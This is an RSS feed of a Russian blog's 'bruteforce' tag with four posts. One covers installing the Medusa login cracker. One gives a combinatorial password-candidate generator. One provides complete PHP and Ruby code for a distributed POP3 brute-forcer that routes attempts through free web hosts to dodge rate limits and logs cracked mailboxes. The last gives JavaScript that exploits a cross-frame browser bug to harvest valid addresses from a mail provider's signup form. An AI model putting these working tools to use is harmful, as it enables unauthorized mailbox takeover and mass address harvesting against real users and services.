<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>по стопам webkill&#039;а &#187; bruteforce</title>
	<atom:link href="http://blog.lukmus.ru/tag/bruteforce/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.lukmus.ru</link>
	<description>это наш химический дом для печальных жителей Земли</description>
	<lastBuildDate>Sat, 21 Oct 2023 19:10:13 +0000</lastBuildDate>
	<language>ru-RU</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>medusa на Fedora 13</title>
		<link>http://blog.lukmus.ru/2010/09/03/medusa-na-fedora-13/</link>
		<comments>http://blog.lukmus.ru/2010/09/03/medusa-na-fedora-13/#comments</comments>
		<pubDate>Fri, 03 Sep 2010 20:39:03 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[настройка и установка]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[fedora 13 x64]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[medusa]]></category>
		<category><![CDATA[брутфорс]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=479</guid>
		<description><![CDATA[Medusa &#8211; это такой брутфорс или как он сам себя называет на оффсайте &#8211; Parallel Network Login Auditor. Там же на оффсайте можно прочитать чем он отличается от гидры. Медуза может перебирать пароли к : AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NetWare NCP, NNTP, PcAnywhere, POP3, PostgreSQL, REXEC, RLOGIN, RSH, SMBNT, SMTP-AUTH, SMTP-VRFY, SNMP, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/09/medusa.jpg"><img class="size-full wp-image-480 alignright" title="medusa" src="http://blog.lukmus.ru/wp-content/uploads/2010/09/medusa.jpg" alt="" width="194" height="322" /></a>Medusa &#8211; это такой брутфорс или как он сам себя называет на <a rel="nofollow" href="http://www.foofus.net/~jmk/medusa/medusa.html" target="_blank">оффсайте</a> &#8211; Parallel Network Login Auditor. Там же на оффсайте можно прочитать чем он отличается от гидры. Медуза может перебирать пароли к : AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NetWare NCP, NNTP, PcAnywhere, POP3, PostgreSQL, REXEC, RLOGIN, RSH, SMBNT, SMTP-AUTH, SMTP-VRFY, SNMP, SSHv2, Subversion (SVN), Telnet, VMware Authentication Daemon (vmauthd), VNC, Generic Wrapper, Web Form.</p>
<p>Пишу эту заметку больше для себя, чтобы запомнить, что из репозитариев ее ставить не надо.<span id="more-479"></span></p>
<p>Устанавливать ее надо только из тарболов т.к. при установке через yum неправильно прописываются пути к модулям, в результате чего при запуске возникает такая ошибка:</p>
<p><code>$ medusa -M ftp -h superdomen.com -U users -P pass.dic<br />
Medusa v1.5 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks</code></p>
<p><code>IMPORTANT: Couldn't load "ftp" [/usr/lib/medusa/modules/ftp.mod: cannot open shared object file: No such file or directory]. Place the module in the medusa directory, set the MEDUSA_MODULE_NAME environment variable or run the configure script again using --with-default-mod-path=[path].<br />
invokeModule failed - see previous errors for an explanation</code></p>
<p>А в результате проверки доступных модулей увидим это:</p>
<p><code>$ medusa -d<br />
Medusa v1.5 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks </code></p>
<p><code>Available modules in "." :</code></p>
<p><code>Available modules in "/usr/lib/medusa/modules" :<br />
Couldn't open directory "/usr/lib/medusa/modules"</code></p>
<p><span style="font-size: 1.4em;">установка</span></p>
<ol>
<li>качаем тарбол с оффсайта, для последней на данный момент версии 2.0 это <a rel="nofollow" href="http://www.foofus.net/~jmk/tools/medusa-2.0.tar.gz" target="_blank">http://www.foofus.net/~jmk/tools/medusa-2.0.tar.gz</a></li>
<li>ликвидируем зависимости<br />
<br />
<code># yum install -y pcre-devel afpfs-ng-devel ncpfs-devel postgresql-devel libssh2-devel subversion-devel</code></li>
<li>распаковываем и устанавливаем. Я устанавливал под рутом, хотя возможно хватит прав и установить под обычным пользователем.
<p><code># ./configure --with-default-mod-path=/usr/local/lib/medusa/modules/<br />
# make<br />
# make install<br />
</code></li>
<li> теперь делаем ссылку, опять же если хватит прав, то можно и не под root&#8217;ом<br />
<br /><code># ln /usr/local/bin/medusa /usr/bin/medusa</code></li>
</ol>
<p>Документацию по использованию смотрите на оффсайте, для примера покажу брут FTP:</p>
<p><code>medusa -M ftp -U users -P passwd.dic -h domen-or-ip.com</code></p>
<p>где users &#8211; файл со списком пользователей, passwd.dic &#8211; файл со списком паролей, domen-or-ip.com &#8211; домен или IP-адрес атакуемого сервера.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/09/03/medusa-na-fedora-13/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>перебор всех возможных вариантов или тупая комбинаторика</title>
		<link>http://blog.lukmus.ru/2010/07/10/perebor-vseh-vozmozhnyih-variantov-ili/</link>
		<comments>http://blog.lukmus.ru/2010/07/10/perebor-vseh-vozmozhnyih-variantov-ili/#comments</comments>
		<pubDate>Sat, 10 Jul 2010 23:15:07 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[разное]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[все комбинации]]></category>
		<category><![CDATA[перебор]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=226</guid>
		<description><![CDATA[Часто так бывает (например сегодня мне нужно было это сделать, поэтому сообственно и вышел этот пост), что нужно найти все комбинации символов из какого-то определенного алфавита. Например вы знаете из каких символов состоит пароль и знаете примерную длину, скажем от 5 до 7 символов, и вам надо перебрать все возможные комбинации. Раздел математики под названием [...]]]></description>
			<content:encoded><![CDATA[<p>Часто так бывает (например сегодня мне нужно было это сделать, поэтому сообственно и вышел этот пост), что нужно найти все комбинации символов из какого-то определенного алфавита. Например вы знаете из каких символов состоит пароль и знаете примерную длину, скажем от 5 до 7 символов, и вам надо перебрать все возможные комбинации.<span id="more-226"></span></p>
<p>Раздел математики под названием Комбинаторика по этому поводу говорит, что количество таких комбинаций с повторами будет равно N<sup>m</sup>, где N &#8211; размер алфавита, а m &#8211; максимальное количество символов в комбинации(слове).<br />
И комбинаторика действительно не врет, в этом можно легко убедится напримере:<br />
A={1,0} =&gt; N=2<br />
m=3</p>
<div style="font-size: 0.8em;">000<br />
001<br />
010<br />
011<br />
100<br />
101<br />
110<br />
111</div>
<p>N<sup>m</sup>=2<sup>3</sup>=8. Что и требовалось доказать.</p>
<p>Посчитать-то количество мы смогли, а вот конкретно найти все возможные варианты нам поможет следующий скрипт.</p>
<p>Сначала зададим алфавит и максимальное количество символов в слове:</p>
<blockquote><p>alf=['a','l','f','v','i','t']<br />
max_size=5</p></blockquote>
<p>Теперь немного объясню принцип.</p>
<p>Он такой же как и был на примере, где убеждались в правоте комбинаторики. Короче, мы ставим нашему алфавиту в соответсвие цифру из системы счисления равной длине алфавита. В нашем случае это будет шестиричная система счисления. Далее мы просто будем инкрементно крутить какую-то переменную скажем i т.е. будем в цикле прибавлять к i единицу.</p>
<p>Но для начала нам нужно посчитать сколько нужно шагов в цикле, чтобы длина слова соответствовала max_size.</p>
<blockquote><p>res=alf.size**max_size</p></blockquote>
<p>Тупо пользуемся этой самой формулой из комбинаторики.</p>
<p>А теперь также тупо будем инкрементно крутить в цикле переменную i и обратно ставить в соответсвие каждой цифре числа символ из алфавита:</p>
<blockquote><p>for i in 2..res+1 do<br />
str=&#8221;<br />
i.to_s(alf.size).scan(/./).each {|x| str+=alf[x.to_i]}<br />
puts &#8220;#{i} &#8211; #{i.to_s(7)} &#8211; #{str}&#8221;<br />
end</p></blockquote>
<p>Весь приведенный здесь код написан на Ruby.</p>
<p>Я закончил, а теперь каждый случайно заглянувший сюда великий математик или программист может плюнуть в монитор, написать отрицательный коммент и просебя матернутся: мол это и ежу понятно, мол существуют гораздо менее ресурсотребовательные способы итд.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/07/10/perebor-vseh-vozmozhnyih-variantov-ili/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>распределенный POP3-брутфорс или брут мыл через фрихосты</title>
		<link>http://blog.lukmus.ru/2010/06/27/raspredelennyiy-pop3-brutfors-ili-brut-myi/</link>
		<comments>http://blog.lukmus.ru/2010/06/27/raspredelennyiy-pop3-brutfors-ili-brut-myi/#comments</comments>
		<pubDate>Sun, 27 Jun 2010 01:55:39 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[freehost]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[POP3]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[бесплатный хостинг]]></category>
		<category><![CDATA[брутфорс]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=86</guid>
		<description><![CDATA[Современные почтовые сервера поголовно ограничивают попытки авторизации с одного IP, однако если этот IP принадлежит какой-нибудь хостинговой конторе, то обычно для нее делаются небольшие исключения и количество попыток увеличиваются. На этом я хочу сыграть. Ниже я покажу как можно бесплатно (обычные брутфорсы обычно работают через прокси/соксы, которые либо бесплатные и очень долгие, либо платные) и [...]]]></description>
			<content:encoded><![CDATA[<p>Современные почтовые сервера поголовно ограничивают попытки авторизации с одного IP, однако если этот IP принадлежит какой-нибудь хостинговой конторе, то обычно для нее делаются небольшие исключения и количество попыток увеличиваются. На этом я хочу сыграть.</p>
<p>Ниже я покажу как можно бесплатно (обычные брутфорсы обычно работают через прокси/соксы, которые либо бесплатные и очень долгие, либо платные) и главное быстро перебирать пароли к ящикам.<br />
Моя первоначальная идея состояла в организации злой бот-сети из фрихостов, но об этом я расскажу в другой статье, пока лишь ограничимся одной функцией бота &#8211; попытка авторизации на POP3-сервере.<span id="more-86"></span></p>
<p>Итак, для начала нам нужен какой-нибудь бесплатный хостинг с поддержкой PHP5, версия должна быть именно пятая, в противном случае придется немного переписать серверные скрипты.<br />
Допустим вы нашли фрихостинг, коих сейчас немерянно, и можно приступать к самому приложению, которое будет представляеть из себя многопоточный брутфорс списка мыл на популярные пароли. Если кому-то нужно иначе, клиентскую часть легко переписать на свой лад.</p>
<p>Брутфорс будет состоять из 2-х частей:</p>
<ol>
<li>серверная &#8211; PHP-скрипты, которые будут по запросу клиента пытатся авторизоватся с заданным логином и паролем</li>
<li>клиентская &#8211; Ruby-скрипты, которые будут давать запрос, с указанием логина и пароля, по которым необходимо авторизоватся</li>
</ol>
<p><strong>Сервер (PHP-скрипты).</strong></p>
<p>Сервер будет состоять из 3-х файлов:</p>
<ol>
<li>библиотека &#8211; lib.php</li>
<li>конфигурация &#8211; config.php</li>
<li>сам скрипт авторизации &#8211; brut.php</li>
</ol>
<p>В библиотеки lib.php содержится класс Email, который через функцию fsockopen() будет общатся с POP3-сервером. Взят именно такой принцип, а не скажем уже готовая mail() т.к. на более-менее нормальных хостингах подобные штуки отключены, запрещены и являются признаком преступления против человечества.</p>
<p>Итак, сам lib.php:</p>
<blockquote><p>&lt;?php<br />
class Email {<br />
var $server;<br />
var $full_addr;<br />
var $login;<br />
const SOCK_ERR=-3;<br />
const FST_GET_ERR=-2;<br />
const LOGIN_ERR=-1;<br />
const INCCORECT_PASS=0;<br />
const SUCC=1;</p>
<p>function __construct($addr)<br />
{$this-&gt;full_addr=$addr;<br />
$this-&gt;set_serv();<br />
$this-&gt;set_login(); }</p>
<p>private function set_serv ()<br />
{$strpos=strpos($this-&gt;full_addr,&#8217;@');<br />
$this-&gt;server=&#8221;pop.&#8221; . substr($this-&gt;full_addr,$strpos+1,strlen($this-&gt;full_addr)-$strpos); }</p>
<p>private function set_login ()<br />
{$this-&gt;login=substr($this-&gt;full_addr,0,strpos($this-&gt;full_addr,&#8217;@')); }</p>
<p>public function try_auth ($pass)<br />
{ $pop_conn = fsockopen($this-&gt;server, 110,$errno, $errstr, 10);<br />
if (!(is_resource($pop_conn))) return -3;</p>
<p>$ans=fgets($pop_conn,1024);<br />
if (!(substr_count($ans,&#8221;OK&#8221;)))    return -2;</p>
<p>fputs($pop_conn,&#8221;USER $this-&gt;login\r\n&#8221;);<br />
$ans=fgets($pop_conn,1024);<br />
if (!(substr_count($ans,&#8221;OK&#8221;)))    return -1;</p>
<p>fputs($pop_conn,&#8221;PASS $pass\r\n&#8221;);<br />
$ans=fgets($pop_conn,1024);<br />
if (!(substr_count($ans,&#8221;OK&#8221;)))return 0;</p>
<p>fclose($pop_conn);<br />
return 1;<br />
}<br />
}<br />
?&gt;</p></blockquote>
<p>Далее файл config.php, он не отличается сложностью и представляет из себя 2 переменные хранящие логин и пароль админа брутфорса, мы же хотим единолично пользоватся нашим брутом.</p>
<blockquote><p>&lt;?php<br />
$login=&#8221;root&#8221;;<br />
$pass=&#8221;jvgfdhg6hj&#8221;;<br />
?&gt;</p></blockquote>
<p>Теперь перейдем к brut.php, который и будет промежуточным звеном между нашей клиентской частью и POP3-сервером.</p>
<blockquote><p>&lt;?php<br />
include &#8216;lib.php&#8217;;<br />
include &#8216;config.php&#8217;;</p>
<p>if (!isset($_POST['login']) || $_POST['login']!=$login) die();<br />
if (!isset($_POST['pass']) || $_POST['pass']!=$pass) die();<br />
if (!(isset($_POST['op_addr'])) || !(isset($_POST['op_pass']))) die();</p>
<p>$email= new Email($_POST['op_addr']);<br />
echo &#8216;&lt;ans&gt;&#8217;.$email-&gt;try_auth($_POST['op_pass']).&#8217;&lt;/ans&gt;&#8217;;<br />
?&gt;</p></blockquote>
<p>brut.php тоже не является верхом сложности программирования на PHP: сначала мы проверяем логин и пароль админа, затем смотрим присутствуют ли адрес почты и предполагаемый пароль к ней, и в случае если все ништяк пробуем авторизоватся, посредством заранее написанного класса. В конце мы выводим числовой ответ. Тот кому нужны точные ответы  посмотрит lib.php, а я же скажу что 0 &#8211; пароль не подошел, 1 &#8211; пароль подошел.</p>
<p>На этом с серверной частью закончили, теперь берем эти 3 файла и заливаем на все фрихосты, где удалось зарегать.</p>
<p><strong>Клиент (Ruby-скрипты).</strong></p>
<p>Клиентская часть состоит из 2-х скриптов:</p>
<ol>
<li>config.rb &#8211; файл конфигурации</li>
<li>main.rb &#8211; собственно сам клиент</li>
</ol>
<p>Сначала рассмотрим кофиг. Представляет он из себя следующее:</p>
<blockquote><p>#!/usr/bin/ruby</p>
<p>$servers=['lukmus.ru','second.server.ru','third.server.ru','etc.freehost.com']<br />
$path=&#8217;/mailbrut/brut.php&#8217;</p>
<p>$login=&#8221;root&#8221;<br />
$pass=&#8221;jvgfdhg6hj&#8221;</p>
<p>$th_count=3</p>
<p>$fl_addrs=&#8221;mail_list&#8221;<br />
$fl_log=&#8221;mailbrut.log&#8221;<br />
$fl_good=&#8221;good_accs&#8221;</p>
<p>$passes=['pass','qwerty','123456','12345','etc...']</p></blockquote>
<p>Теперь разберемся в нем:</p>
<ul>
<li>$servers &#8211; здесь пишем наши фризосты</li>
<li>$path &#8211; путь на фрихостинге до нашей серверной части, на всех сайтах должен быть один и тот же</li>
<li>$login и $pass &#8211; пароль админа брута, должен совпадать с указанными в config.php в серверной части</li>
<li>$th_count &#8211; количество потоков брутфорса, он же у нас многопоточный</li>
<li>$fl_addrs &#8211; файл, записаны почтовые адреса которые мы брутим. Каждая запись должна начинатся с новой строки.</li>
<li>$fl_log &#8211; лог, сюда пишутся все ошибки</li>
<li>$fl_good &#8211; здесь будут сохранятся удачно сбрученные почтовые акки в виде login:pass</li>
<li>$passes &#8211; записываем пароли, на которые брутим</li>
</ul>
<p>А теперь рассмотрим сам скрипт, который будет выдавать запросы нашим хостингам.</p>
<p>main.rb:</p>
<blockquote><p>#!/usr/bin/ruby<br />
require &#8216;net/http&#8217;<br />
require &#8216;config.rb&#8217;</p>
<p>class WEB_Server<br />
def initialize (servers)<br />
@servers=servers<br />
@i=0<br />
end#def<br />
def next_s<br />
server=@servers[@i]<br />
@i+=1<br />
if @i&gt;=@servers.size then @i=0 end<br />
return server<br />
end#def<br />
end#class</p>
<p>def log(logfl,msg)<br />
mess=&#8221;#{Time.now} &lt;-&gt; #{msg}&#8221;<br />
logf=File.new(logfl,&#8217;a')<br />
logf.puts mess<br />
logf.close<br />
puts mess<br />
end#def</p>
<p>puts &#8220;Lukmus PHP-Ruby WebMailBrut starting&#8230;&#8221;</p>
<p>servers=WEB_Server.new($servers)<br />
accs=File.new($fl_addrs,&#8217;r')<br />
while !accs.eof do<br />
op_addr=accs.gets.chop<br />
while Thread.list.size&gt;$th_count do sleep(1) end<br />
th=Thread.new(op_addr) do |p_addr|<br />
$passes.each do |p_pass|<br />
serv=servers.next_s<br />
http = Net::HTTP.new(serv, 80)<br />
data = &#8220;login=#{$login}&amp;pass=#{$pass}&amp;op_addr=#{p_addr}&amp;op_pass=#{p_pass}&#8221;<br />
headers = { &#8216;Content-Type&#8217; =&gt; &#8216;application/x-www-form-urlencoded&#8217;}<br />
resp, data = http.post($path, data, headers)<br />
ans=data.split(&#8216;&lt;ans&gt;&#8217;)[1].split(&#8216;&lt;/ans&gt;&#8217;)[0]<br />
case ans<br />
when &#8216;-3&#8242;<br />
log($fl_log,&#8221;ERR #3 Can&#8217;t open socket &lt;-&gt; #{p_addr}:#{p_pass}&#8221;)<br />
when &#8216;-2&#8242;<br />
log($fl_log,&#8221;ERR #2 Can&#8217;t connect to server &lt;-&gt; #{p_addr}:#{p_pass}&#8221;)<br />
when &#8216;-1&#8242;<br />
log($fl_log,&#8221;ERR #1 Can&#8217;t input login &lt;-&gt; #{p_addr}:#{p_pass}&#8221;)<br />
when &#8217;0&#8242;<br />
puts &#8220;#{serv} &lt;-&gt; #{p_addr}:#{p_pass} &lt;-&gt; invalid pass&#8221;<br />
when &#8217;1&#8242;<br />
log($fl_good,&#8221;#{serv} &lt;-&gt; #{p_addr}:#{p_pass} &lt;-&gt; SUCCESS&#8221;)<br />
break</p>
<p>end#case<br />
#http.close<br />
end#each<br />
end#thread<br />
end#while<br />
th.join</p></blockquote>
<p>Он работает по следующему принципу:</p>
<ul>
<li>ОСНОВНОЙ ПОТОК: открывает файл со списком адресов и берет первый</li>
<li>ОСНОВНОЙ ПОТОК: создает поток, который будет работать с этим адресом</li>
<li>ПОТОК: берет первый пароль из нашего списка</li>
<li>ПОТОК: берет первый хостинг и посылает запрос серверу на попытку авторизации</li>
<li>ПОТОК: далее берет следующий хостинг и следующий пароль и так далее</li>
<li>ОСНОВНОЙ ПОТОК: берет следующее мыло из списка и создает новый поток под него и так далее.</li>
</ul>
<p>В случае если поток находит правильный пароль, то поток самоуничтожается, тем самым пресекая бессмысленные попытки авторизации с оставшимися, заведомо ложными паролями.</p>
<p>Ну вот и все, как запустить скрипт Ruby можно прочитать <a href="http://blog.lukmus.ru/?p=57" target="_self">здесь</a>, а скачвть все это дело одним архивом можно <a href="http://sharingmatrix.com/file/9978975/php-ruby_webmailbrut.tar" target="_blank">здесь</a></p>
<pre>Статья является плодом бурной фантазии автора и не призывает ни к каким действиям,
противоречащим законодательству. Ответственность за использование материала ложиться только на вас!
Любые совпадения с реальными людьми считаются случайными.</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/06/27/raspredelennyiy-pop3-brutfors-ili-brut-myi/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>экстравагантный способ перебора</title>
		<link>http://blog.lukmus.ru/2010/06/16/ekstravagantnyiy-sposob-perebora/</link>
		<comments>http://blog.lukmus.ru/2010/06/16/ekstravagantnyiy-sposob-perebora/#comments</comments>
		<pubDate>Wed, 16 Jun 2010 23:20:07 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[arora]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[frame]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[брутфорс]]></category>
		<category><![CDATA[сбор адресов]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=19</guid>
		<description><![CDATA[Мой метод не претендует на рациональность, оптимальность, сверхбыстродействие итд, зато имеет в некотором роде универсальность. Этим способом можно перебирать все, что имеет веб-интерфейс и не имеет капчи. Способ заключается в следующем: создается примитивная html-страничка, с указанными в ней фреймами (2 и более). Фреймы ссылаються на страницу сайта, которого будем брутить и еще одну нашу страничку, [...]]]></description>
			<content:encoded><![CDATA[<p>Мой метод не претендует на рациональность, оптимальность, сверхбыстродействие итд, зато имеет в некотором роде универсальность.<br />
Этим способом можно перебирать все, что имеет веб-интерфейс и не имеет капчи.</p>
<p><strong>Способ заключается в следующем</strong>: создается примитивная html-страничка, с указанными в ней фреймами (2 и более). Фреймы ссылаються на страницу сайта, которого будем брутить и еще одну нашу страничку, содержащую javascript собственно самого переборщика.</p>
<p><strong>Принцип действия</strong>: страница, с javascript&#8217;ом, а точнее сам javascript будет подставлять в форму выбранного нами сайта данные для перебора.</p>
<p><span id="more-19"></span></p>
<p>Для реализации всего выше указанного, нам необходимо немного соображать в javascript&#8217;е, html&#8217;е и самое сложное &#8211; найти и установить браузер с багом, который позволяет скрипту из одного фрейма обращаться к данным и объектам другого фрейма, где разнофреймовые страницы &#8211; ресурсы разных узлов.</p>
<p>Перепробывал следующие браузеры, и ни один из них не удовлетворяет нашим требованиям:<br />
Windows: IE v 4-8, FFox 3/3.5, Opera 10, Google Chrome 3, Seamonkey 2.0b2<br />
Linux: FF 3.5, Opera 10, Epiphany 2.26.3.<br />
Однако, не смотря на неудачи, я все-таки нашел браузер с такой ошибкой, это оказался Arora 0.9.0 под Linux (RH).</p>
<p>Скачать его можно <a title="Arora" href="http://code.google.com/p/arora/" target="_blank">здесь</a>.</p>
<p>Не знаю существует ли он под Windows и есть ли в нем этот баг.</p>
<p>Я решил набрать базу сайта /\/\аi|.ру, используя его следующее свойство:<br />
на странице регистрации, при вводе желаемого логина он сам автоматом говорит занят логин или нет.<br />
Ваша цель может быть любой, от перебора паролей к роутерам, до рассылки писем.</p>
<p><span style="color: #800000;">!!!в ссылках необходимо заменить /\/\аi|.ру, а так же имена почтовых доменов и поменять слэши</span></p>
<p>После того как установили браузер, необходимо написать сами страницы.</p>
<p><strong>Первая, главная страница с разметкой на фреймы:</strong></p>
<blockquote><p>&lt;html&gt;<br />
&lt;head&gt;<br />
&lt;title&gt;/\/\аi|.ру checker all domains&lt;/title&gt;<br />
&lt;/head&gt;<br />
&lt;frameset rows=25%,75%&gt;<br />
&lt;frame name=&#8217;up&#8217; src=&#8217;2.html&#8217;&gt;<br />
&lt;frame name=&#8217;mid&#8217; src=&#8217;http:\\win./\/\аi|.ру\cgi-bin\signup&#8217; &gt;<br />
&lt;/frameset&gt;<br />
&lt;/html&gt;</p></blockquote>
<p><strong>Вторая страница 2.html, так называемый интерфейс брутфорса</strong> (вопреки вышеуказанному, явакод будет размещен в отдельном файле, а не в файле страницы):</p>
<blockquote><p>&lt;script type=&#8221;text/javascript&#8221; src=&#8221;latvia.js&#8221;&gt;&lt;/script&gt;<br />
&lt;html&gt;<br />
&lt;body &gt;<br />
&lt;form name=&#8217;cmd&#8217; &gt;<br />
&lt;table style=text-allign:center;font-size:70%;vertical-align:middle; &gt;<br />
&lt;td&gt;addresses:&lt;br&gt;&lt;textarea name=&#8217;alladress&#8217; readOnly=&#8217;true&#8217; cols=20 rows=10&gt;&lt;/textarea&gt; &lt;/td&gt;</p>
<p>&lt;td&gt;full number&lt;br&gt;<br />
&lt;textarea name=&#8217;nomer&#8217; cols=13 rows=1&gt;0&lt;/textarea&gt;&lt;br&gt;</p>
<p>&lt;textarea name=&#8217;fakt_no&#8217; readOnly=&#8217;true&#8217; cols=3 rows=1&gt;0&lt;/textarea&gt;^&lt;textarea name=&#8217;quantity&#8217; cols=5 rows=1&gt;1500&lt;/textarea&gt;&lt;br&gt;<br />
exist address count&lt;br&gt;<br />
&lt;textarea name=&#8217;ex_count&#8217; readOnly=&#8217;true&#8217; cols=3 rows=1&gt;0&lt;/textarea&gt;&lt;br&gt;<br />
&lt;input type=&#8217;button&#8217; name=&#8217;start_bt&#8217; value=&#8217;start&#8217; onClick=&#8217;zamena()&#8217; &gt;<br />
&lt;input type=&#8217;button&#8217; name=&#8217;update_bt&#8217; value=&#8217;update&#8217; onClick=&#8217;update_fr()&#8217; &gt;<br />
&lt;/td&gt;</p>
<p>&lt;td&gt;words:&lt;br&gt;&lt;textarea name=&#8217;words&#8217; cols=20 rows=8&gt;&lt;/textarea&gt;&lt;br&gt;<br />
dictionary/successively(0/1)&lt;br&gt;<br />
&lt;textarea name=&#8217;dicsuc&#8217; cols=13 rows=1&gt;0&lt;/textarea&gt;</p>
<p>&lt;/td&gt;</p>
<p>&lt;/table&gt;</p>
<p>&lt;/form&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</p></blockquote>
<p><strong>А теперь сам движок брутфорса</strong>, файл с явакодом(latvia.js):</p>
<blockquote><p>var i=0;<br />
var osnwait=1000;<br />
var loawait=500;<br />
var load_attemp=0;<br />
var max_att=500;<br />
var ex_count=0;<br />
var flag=0;</p>
<p>var dom = new Array();<br />
dom[0]=&#8217;@/\/\аi|.ру&#8217;;<br />
dom[1]=&#8217;@ЬК.ru&#8217;;<br />
dom[2]=&#8217;@inЬ0х.ru&#8217;;<br />
dom[3]=&#8217;@|i$t.ru&#8217;;<br />
var n_dom=0;</p>
<p>function next(dig,variant) //возвращает следующее слово<br />
{if (variant==0){<br />
word_ar=parent.up.document.cmd.words.value.split(&#8216;  \n&#8217;);<br />
return word_ar[dig];} else{<br />
return dig.toString(36);}<br />
}</p>
<p>function oknext() //заменяет домен на следующий (инб0кс/мaил/лиcT/Ьк)<br />
{<br />
if (flag==1){<br />
if (parent.mid.document.uinfo.RegistrationDomain.sele  ctedIndex&lt;3)<br />
{parent.mid.document.uinfo.RegistrationDomain.sele  ctedIndex++;<br />
}else{<br />
parent.mid.document.uinfo.RegistrationDomain.selec  tedIndex=0;<br />
parent.up.document.cmd.nomer.value=parseInt(parent  .up.document.cmd.nomer.value)+1;<br />
i++;<br />
parent.up.document.cmd.fakt_no.value=i;<br />
}}<br />
n_dom=parent.mid.document.uinfo.RegistrationDomain  .selectedIndex;<br />
if (flag==0){<br />
parent.mid.document.getElementById(&#8216;userNameInput&#8217;  ).value=&#8217;^!@#$%&amp;*&#8217;;<br />
setTimeout(&#8220;zamena()&#8221;,loawait);<br />
flag=1;<br />
} else<br />
{parent.mid.document.getElementById(&#8216;userNameInput  &#8216;).value=next(parseInt(parent.up.document.cmd.nome  r.value),parseInt(parent.up.document.cmd.dicsuc.va  lue));<br />
load_attemp=0;<br />
if(i&lt;=parseInt(parent.up.document.cmd.quantity.value))s  etTimeout(&#8220;zamena()&#8221;,osnwait);<br />
flag=0;<br />
}<br />
}</p>
<p>function update_fr() //обновляет страницу с формой<br />
{parent.mid.location=&#8221;http://win./\/\аi|.ру\cgi-bin\signup&#8221;;<br />
load_attemp=0;<br />
}</p>
<p>function zamena() //проверяет результаты выданные сайтом<br />
{<br />
//Еще проверяет<br />
if(parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length==43){<br />
setTimeout(&#8220;zamena()&#8221;,loawait);<br />
load_attemp++;<br />
if(load_attemp&gt;max_att)    {<br />
update_fr();<br />
setTimeout(&#8220;zamena()&#8221;,osnwait*25);<br />
}<br />
}</p>
<p>//Сессия устарела<br />
if(parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length==67){<br />
update_fr();<br />
setTimeout(&#8220;zamena()&#8221;,osnwait*25);}<br />
//Мыло существует<br />
if(parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length==143){<br />
//alert(&#8220;exist&#8221;);<br />
parent.up.document.cmd.alladress.value=parent.up.d  ocument.cmd.alladress.value+parent.mid.document.ge  tElementById(&#8216;userNameInput&#8217;).value+dom[n_dom]+&#8217;\n&#8217;;</p>
<p>ex_count++;<br />
parent.up.document.cmd.ex_count.value=ex_count;<br />
oknext();<br />
}<br />
//Логин свободен т.е. мыло не существует<br />
if(parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length==56)oknext();<br />
if(parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length!=56 &amp;&amp; parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length!=43 &amp;&amp; parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length!=143 &amp;&amp; parent.mid.document.getElementById(&#8220;checkUser&#8221;).innerHTML.length!=67)oknext();<br />
}</p></blockquote>
<p><strong>Вопросы по коду:</strong><br />
<strong>?</strong>:зачем между сменами доменов вставлять ^!@#$%&amp;* ?<br />
<strong>0</strong>: иначе страница не видит что потенциальный логин был изменен, точнее его домен<br />
<strong>?</strong>:как реализована задержка между вводами ?<br />
<strong>0</strong>:посредством функции setTimeout() т.к. в яваскрипте нет функции а-ля sleep()<br />
<strong>?</strong>:по какому принципу скрипт определяет что выдает сайт (Идет проверка/ ящик свободен итд)<br />
